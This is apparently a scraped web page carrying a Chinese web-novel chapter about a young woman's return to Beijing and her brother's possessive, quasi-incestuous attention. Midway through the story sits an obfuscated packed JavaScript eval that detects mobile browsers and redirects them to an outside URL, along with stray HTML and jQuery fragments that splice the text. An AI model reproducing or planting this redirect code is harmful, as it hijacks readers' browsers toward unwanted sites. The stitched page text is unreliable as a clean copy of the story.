回京
钟家的人很少接人回京。
一旦接回来，通常都是要用的。
——
初春的夜风从大兴机场吹出来，卷得人心头一凉，直钻进领口里。
钟温婷拖着乳白色的行李箱走出VIP通道，齐肩发后面跟着一群黑压压的西装。
从南方带回来的潮湿似乎还在她身上徘徊，让她觉得自己黏的难受，微微蹙眉，眼神倦怠而生硬。
前方，钟云霆站在那儿。深灰色羊绒大衣敞开。
他指尖的烟熄了，余温散在空气里。他没撑伞，任由潮气落在肩头，视线锐利得像是要把她看透。
对上视线的瞬间，他几步跨过来接过行李箱。嗓音低沉带着长途驱车的沙哑，语速不快，听不出责备，倒像是一种理所当然的管教。
“怎么还是这么不长记性，北京的二月不是福州。”
钟温婷朝身后做了比划，有人顺势接过他手里的东西。而钟云霆的左手极其自然地搭上她的后颈，摩挲了两下，“瘦了。下胸围那儿，怕是又要重新量了订衣服。”
他这话回得极顺口，带了点长辈般的坦然，眼神里毫无邪念，却又让她避无可避。
她看着他侧过身往地下停车场走，随口提了一句，嗯，林家港口得批文压得太久了，最近没睡好。
黑色大衣的衣摆在冷风里晃动，轻飘飘扫过她的脚踝。回京，是她一件注定的事。
他絮絮叨叨的，没接那带着功利心的话，问她是爷爷在老宅等着，但这会儿他估计歇下了，“先回我那儿，还是回你那套公寓？”
那片身后的黑压压适时隐匿。
“再说。”钟温婷吐出两个字，冷硬的厉害。
……
机场地库，金属门映出两人的倒影。
钟云霆从口袋摸出一个暖宝宝撕开，没有递，直接拉过她的左手，他反手包住她的指尖，视线盯着显示屏上红色跳动的数字。
那道断掌纹横在掌心，一团热气被强硬地塞进她手里。
两人再度无话，空气冷得厉害。
钟云霆试图再次挑起话题，干巴又生硬，“行李箱里有在南边带回来的药吗？你那脚踝，平安绳勒得太紧了。”
他余光掠过那一截细白，二十个银珠子在惨白的灯影下晃了晃，透着股冷意。
“带了。”钟温婷这么回答她的，带着浓厚的疲倦。
这场回来得匆忙，没来得及预定航线，廉价的公务舱让她没睡好。
她随后想了想带了句抱怨似的吐槽，“哥，我好累。”
气氛这才缓和了一些。
停车场光线昏暗，黑色越野车隐在阴影里。
车门被缓缓拉开，他的手掌挡在车顶。
不远处的吉普里。
钟温婷一瞥，倒是见了老熟人，无事嗓音甜软，带着南方水汽般的慵懒，“嗯哼—哟，申二，跪接吧——”
申辰，司法系统一把手的老幺，京城那几个人的几本证都是从他手里流出来，尤其钟温婷。
他斜靠着车窗抽烟，烟雾缓缓飘散，啧了一声，“哟，云霆，这就是咱家宝贝温温回来了？”
“嗯哼，快点的，跪接跪接～”她顺势带了点不耐烦，但是扫空了一点疲倦，乐此不疲想让他跪下来。
申辰一笑，嘴里的烟颤了颤，他作势行礼，衣摆扫过地面尘土，又迅速挺直。
钟云霆站在一旁，如门神般不可侵犯。
“行了，钟大少，人都接到了，打算回府里关起来？晚上哥几个在老地方攒局，柳东庭和贺长林都念叨着，给个痛快话，放不放人？” 他按灭烟头，眼神在钟温婷颈脖滑过，看向钟云霆。
钟云霆没理。
钟温婷像是没满意他没跪到头，所以不作声，任由钟云霆俯身，看他修长的手指绕过她的肩，顺手替她拢了拢针织衫的领口。
“她累了。”钟云霆声音平淡，却像一道屏障，拒人千里，“回公寓吧。她不爱去那地方，烟味重，容易呛咳。”
钟温婷配合地对申二做着鬼脸，说到时候再说。
“什么到时候？”钟云霆没想到她还敢接话，侧过身，指腹轻捏她后颈的软肉，带着一丝哄。“家里炖了燕窝，刚端上来。是跟我回去，还是跟申二去那儿闻二手烟？
无事话音落，他手掌环上她的腰送她坐上，力道稳稳的，麻溜的厉害。
远处机场广播机械地播报。
到港，起飞，声音空旷回荡。
“拜拜咯申二——”钟温婷手指在车窗上晃了晃，带着恶劣。她不是不知道申二来的目的，接人是假，风像是真。
车门关得沉闷，暖气随之涌入，干燥而燥得心口紧绷。钟云霆没有发动车子，他伸手拽过安全带，指尖擦过她起伏的胸口。那有一颗朱砂痣，扣紧。咔哒一声。
“申二那边不靠谱，柳东庭他们那些局，回京了机会多得是，不差这一会儿。”
他侧过身，手抚上她的耳垂轻捏，“温温，回了家，南边那些野路子先别演了。这两天你先住我这里，房间是被褥全是刚晒过的，还有你喜欢的味道。”
“嗯。”她应下。
车子滑入夜色，机场高速上，她看着窗外，流光一张张抹过她的脸。
这两年她回来的少，当年三万英尺的高空，她走的决绝，切割的也干净，她和钟谨北就这么僵着，落脚的也都在钟云霆那。
“申二带了两个南边的货，说是要在会所开个局，被我推了。”
他单手控着盘。右手覆上她的膝。指尖在她手腕上打转，“北京这圈子，比你走的时候更脏。柳东庭那帮人，玩得越来越没底线。”
没听到她的声音，他慢了车速，眼神扫过她的发梢，落在朱砂痣对应的位置。她沉默不语，他半秒移开。
沉默片刻，“知道了。”
有什么意义呢？南边的海水带着腥味她都滚了十年。
如今回来不过也是照葫芦画瓢，做一件该做的事。
钟云霆一如从前般念着废旧陈词，“温温，回了京，就得守京里的规矩。爷爷虽然疼你，但大房那几个伯伯盯着呢，尤其是谨北哥，最近正愁没由头整顿家里。”
他指腹摩挲着掌心的软肉。
“南边那几年，性子养野了吧？我看你这身子，比走的时候又薄了一层。等会儿回了公寓，回去把药涂了。那道疤还没好利索。。福州那边回话，说你总不爱涂药。”
她说，“涂了。”
车子突然打了一把方向，滑入一条静谧的人行树，道。光影斑驳，映得她忽明忽暗。
地库死寂，他解开安全带，压了过去。
草本烟味，冷杉香。
他勾起她的一缕发，在指间绕了一圈，“南边的水土太潮。把你的魂儿都养软了。”声音很低。热气喷在耳根。指尖顺着脖颈滑到黑色平安绳，拨了拨银珠子。
轻得像幻觉，“珠子少了三颗。是在哪儿弄丢了，还是送给哪个不长眼的男人了？嗯？”
他就这么没由来的步步紧靠。
很多年后，钟温婷想起这天的地库，想起往日种种，如蚍蜉加深，终须一别。她忽然鼻子一酸，转过头。
丢哪了？有些答案不必追究。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394309|200346||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
北京那年冬天很冷。
钟家把她送走的时候，她已经记事了。
院子里的银杏落了一地，黄得很安静。她站在门口，小小的一只，穿着一件不合身的黑色呢子大衣。
没有人哄她，钟家向来不哄人。
行李放进后备箱的时候，她忍不住回头看了一眼。
院门口站着一个少年。
十七岁，个子已经很高。黑色大衣，眉眼冷淡，像是天生就该站在那种地方，是钟谨北。
车门关上的时候，她忽然有点难过，不是因为离开。而是因为她忽然意识到。她不知道，自己还能不能回来。
而如今回来了，却竟然只是时过境迁。
钟温婷推开他下车。地库里有股潮气，那声“滚”散在空旷里，尾音软得磨人。
钟云霆没动，手收回来，指尖还留着一点发丝的微凉。看着那个背影，鞋跟的声音又急又稳，脚踝上的银珠子细碎地响，像是在急着挣脱这车厢里的滞闷。
他坐在驾驶位上，喉结滚了滚。“滚？”他低低地嗤笑一声。想起以前雷雨天，有人非要钻进被窝，脚趾勾着他的小腿才肯合眼。
他在电梯口截住她，手插在口袋里，隔着恰到好处的距离。灯光落下来，眼底压着暗色，“长大了，脾气倒是见长。”
“我一向如此，不是么？”
两人差只差了三分钟，一念菩提，竟是天上地下。
微微抿唇。
电梯里不锈钢镜面映出两个人，很像。
钟温婷低着头像一块冷掉的玉，没有表情。
钟云霆靠着轿厢。手插在大衣口袋，语气平缓，像是说一件无关紧要的事。
他说。
“骨科那种东西，那是给没本事的人找借口用的。钟家的人，想要什么从来不需要名头。温温，你就算再大，回了这四九城，也得记着谁才是你的靠山。南边那套独立自主的戏码，在我这儿演演烈女就行，别真信了。”
他说得是谁，她心里有数。
一层，二层……
顶层的数字上，那是他的私产。
“等会儿进了屋，先把鞋换了。那绳子勒得你脚踝都红了，自己看不见？”
他盯着那截脚踝，语气正经像个兄长。
眼神却顺着皮肤一寸寸往上爬，要看穿那层薄薄的针织面料。
回京第一晚，除了这，她能去哪。
那些伯伯，恨不得把她当成筹码送出去。
电梯镜面里。
他伸手。理了理她背后的衣摆。
动作克制，且生疏。
他侧头看她。她微低着头。后颈落了几缕发丝。遮住了那块刚被他掐过的软肉。
这下她更不愿说话了，像是被他一路的颠簸打碎。
钟云霆眼底那点火，还是灭了沉进深水里。
他想，还真是一句废话都舍不得给。
在南边待久了，这副死样不知道和谁学了个十成十。
门开，走廊灯一盏盏亮起来，像一排沉默的眼睛，指纹锁响了一声。
落地窗外是北京夜景，远处三环的车灯像一条没有尽头的河。
拖鞋已经摆好，毛茸茸的，他把大衣挂起来，语气像什么都没发生。
“进来。洗澡水给你放好了。”
门在身后合上。
钟家的人，终于把她接回来了。
而这一次。
所有人都知道，她是回来做什么的
屋子里一瞬间陷入了暖黄灯光营造的静谧中，把这四九城深冬的最后一点寒意彻底关在了窗外。